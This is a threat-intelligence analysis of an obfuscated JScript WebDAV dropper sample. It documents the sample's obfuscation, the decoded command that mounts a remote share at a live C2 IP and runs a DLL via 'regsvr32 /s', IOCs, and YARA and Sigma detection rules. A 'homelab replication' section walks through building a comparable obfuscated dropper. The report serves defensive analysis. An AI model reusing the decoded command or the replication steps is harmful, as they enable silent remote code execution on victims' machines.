fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7aUnclassified JS WebDAV Dropper: fd437971 — 67th confirmed sibling, sequential variable-reassignment eval obfuscation
Executive Summary
JScript dropper (13 KB, .js extension) belonging to the unclassified-js-webdav-dropper family. A new obfuscation dialect: 51 variable assignments (sequential overwrite, last-wins) followed by eval() of a this[WScript][Shell](WScript.Shell)[Run](...) expression. Execution chain mounts a WebDAV share and silently registers a remote DLL via regsvr32 /s. No sandbox gates, no persistence, no decoy. Static-only (CAPE skipped JScript). ^[/intel/analyses/fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a.html]
What It Is
| Field | Value |
|---|---|
| SHA-256 | fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a |
| Filename | 2939332350964425427.js ^[sample fd437971/metadata.json] |
| Size | 12,877 bytes ^[sample fd437971/triage.json] |
| File type | ASCII text, single line (no line terminators) ^[sample fd437971/file.txt] |
| Language | JScript (Windows Script Host) |
| Obfuscation | Sequential variable-reassignment + eval() wrapper |
| Family | unclassified-js-webdav-dropper (67th confirmed sibling) |
| Confidence | High — shared WebDAV C2 infrastructure (:8888 port), regsvr32 /s execution, DavWWWRoot UNC path pattern |
How It Works
-
Variable declaration and overwrite. Fifty-one variables are declared and assigned values in sequential order. Each variable is overwritten multiple times; only the final value (the one closest to the
mnwme()call) is active at runtime. For example:rcdajliq="k";rcdajliq="p";→ final value is"p". ^[raw/analyses/fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a/bin:line1] -
Eval wrapper. The function body is:
function mnwme(){this[METHOD](ARG);}whereMETHODdecodes toevalvia concatenation of four variables (jgruwdkhw+jilmfktx+sccxv+wrpiahnle="e"+"v"+"a"+"l"). ^[raw/analyses/fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a/bin:line1] -
Decrypted payload. The argument to
eval()is itself a JS expression (also built from variable concatenations) that resolves to:this.WScript.Shell("WScript.Shell").Run("cmd /c cmd /c net use \\193.143.1.231@8888\DavWWWRoot\ && cmd /c regsvr32 /s \\193.143.1.231@8888\DavWWWRoot\23332118668340.dll", 0, false)The
0(window style hidden) andfalse(don't wait) are standard across the family. ^[decoded payload via manual deobfuscation] -
No anti-analysis. No debugger checks, no VM detection, no time-bombs, no connectivity checks. No sandbox gate. No persistence mechanism. No decoy process (no
wordpad, nocolor f0). No PowerShell wrapper. One-shot execution.
C2 Infrastructure
| Indicator | Value | Type |
|---|---|---|
| C2 IP | 193.143.1.231 |
IP (WebDAV server) |
| C2 Port | 8888 |
TCP (HTTP WebDAV) |
| WebDAV UNC | \\193.143.1.231@8888\DavWWWRoot\ |
Mount path |
| Payload DLL | 23332118668340.dll |
Remote payload |
| Execution | regsvr32 /s |
T1218.010 |
The 193.143.1.0/24 subnet is new to this family. Prior C2 IPs were concentrated in 45.9.74.x, 94.159.113.x, and cloudslimit.com/dailywebstats.com. This is the first observed sample using 193.143.1.231.
Interesting Tidbits
- New obfuscation dialect: Prior siblings used dictionary lookup tables (36/62/100 entries), shared-prefix
SETbatch obfuscation, or natural-language phraseSETvariables. This sample is the first observed using sequential plain-variable overwrite witheval()as the sole dispatch mechanism. The 51 variables are random lowercase strings (8–20 chars, no semantic content). ^[raw/analyses/fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a/bin:line1] - No batch/polyglot layer: Pure JScript. No
cmd /cwrapping except inside theRun()argument itself. Nogotolabel, no%VAR%expansion. - Nested
cmd /c: The command string containscmd /c cmd /c ...— a redundant double-invocation of the command interpreter, likely copy-paste artifact from a batch-template ancestor. The secondcmd /cis sufficient; the first is a no-op. @port separator: Uses the@notation (\\host@port\share) for WebDAV UNC paths, consistent with the family but notable as a detection anchor.- Payload filename:
23332118668340.dll— 14-digit numeric name, consistent with the family's DLL naming convention.
How To Mess With It (Homelab Replication)
To reproduce a comparable JScript dropper:
- Write a payload string:
var payload = "cmd /c net use \\\\<lan>@8888\\DavWWWRoot\\ && regsvr32 /s \\\\<lan>@8888\\DavWWWRoot\\payload.dll"; - Break the payload into single-character chunks:
var a = "c"; var b = "m"; ... - Overwrite each variable multiple times (the last assignment wins):
a = "x"; a = "c"; b = "y"; b = "m"; - Wrap in
eval():function run(){ this[a+b](...); } run(); - Replace
a,b, etc. with random lowercase strings (8–20 chars). - Remove all newlines to produce a single-line file.
- Verify: open in a text editor — should be one long line with
function mnwme(){...}mnwme();at the end.
What you'll learn: This is a trivial obfuscation that defeats naive string matching but folds immediately to manual variable tracking or runtime capture. The value is understanding how last-wins assignment works as a deobfuscation puzzle.
Deployable Signatures
YARA Rule
rule js_webdav_dropper_fd437971 {
meta:
description = "JScript WebDAV dropper — sequential variable-reassignment eval dialect"
author = "pp-hermes"
date = "2026-07-14"
sha256 = "fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a"
family = "unclassified-js-webdav-dropper"
strings:
$s1 = "function mnwme(){this[" ascii wide
$s2 = "DavWWWRoot" ascii wide
$s3 = "regsvr32 /s" ascii wide
$s4 = "@8888\\DavWWWRoot\\" ascii wide
$s5 = "WScript.Shell" ascii wide
$s6 = "193.143.1.231" ascii wide
condition:
filesize < 20KB and
#s1 >= 1 and
any of ($s2, $s3, $s4) and
any of ($s5, $s6)
}
Behavioral Hunt Query (Sigma — process creation)
title: WebDAV DLL Registration via JScript Dropper
description: Detects JScript-based WebDAV dropper executing regsvr32 or rundll32 against a remote UNC path
detection:
selection:
- CommandLine|contains:
- 'regsvr32 /s \\ '
- 'regsvr32 /s \\\\'
- 'rundll32 '
- CommandLine|contains:
- 'DavWWWRoot'
- '@8888'
condition: selection
falsepositives:
- Legitimate WebDAV administration (rare)
level: high
IOC List
| Indicator | Type | Notes |
|---|---|---|
fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a |
SHA-256 | JScript dropper |
2939332350964425427.js |
Filename | Original upload name |
193.143.1.231 |
IP | WebDAV C2 |
193.143.1.231:8888 |
IP:Port | WebDAV endpoint |
23332118668340.dll |
Filename | Remote payload DLL |
\\193.143.1.231@8888\DavWWWRoot\ |
UNC path | WebDAV mount path |
regsvr32 /s |
Command | Silent DLL registration |
Behavioral Fingerprint
This JScript file is a single-line ASCII text with no line terminators. It defines a function mnwme() that wraps this[...](...) where the bracket expression resolves to eval via string concatenation of four variables. The argument to eval is a nested expression resolving to this.WScript.Shell("WScript.Shell").Run("cmd /c ...", 0, false). The command string mounts a WebDAV share at \\host@8888\DavWWWRoot\ and executes regsvr32 /s against a numeric .dll filename. No sandbox gates, no persistence, no decoy processes. One-shot execution with hidden window.
Detection Signatures
No capa output — file is JScript text, not a supported binary class. ^[sample fd437971/capa.txt]
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.005 (Visual Basic / JScript) | .js file opened by user, WScript.Shell COM object creation |
| Execution | T1218.010 (Regsvr32) | regsvr32 /s \\193.143.1.231@8888\DavWWWRoot\23332118668340.dll |
| Defense Evasion | T1218 (System Binary Proxy Execution) | regsvr32 is a signed system binary proxying payload execution |
| Defense Evasion | T1027 (Obfuscated Files or Information) | Sequential variable-reassignment obfuscation with eval() wrapper |
| Command & Control | T1071.001 (Web Protocols) | WebDAV over HTTP (\\host@8888\DavWWWRoot\) |
| Command & Control | T1105 (Ingress Tool Transfer) | net use mounts WebDAV share; regsvr32 fetches and loads remote DLL |
References
- unclassified-js-webdav-dropper — Family entity page (66 prior siblings documented)
- webdav-regsvr32-dll-sideloading — Technique page for WebDAV + regsvr32 execution chain
- MalwareBazaar:
fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a - OpenCTI labels:
js,malware-bazaar^[sample fd437971/triage.json]
Provenance
file.txt—fileutility outputtriage.json— OpenCTI triage metadatametadata.json— Artifact source metadatacapa.txt— Mandiant capa (refused: unsupported file type)dynamic-analysis.md— CAPE skipped (JScript not a supported binary class)- Manual deobfuscation via Python3 regex tokenization of the raw script content
- Script decoded in two passes: (1) extract last-wins variable assignments, (2) decode eval argument via variable-name replacement and + removal
- All tool versions as captured in the triage pipeline (May 2026 snapshot)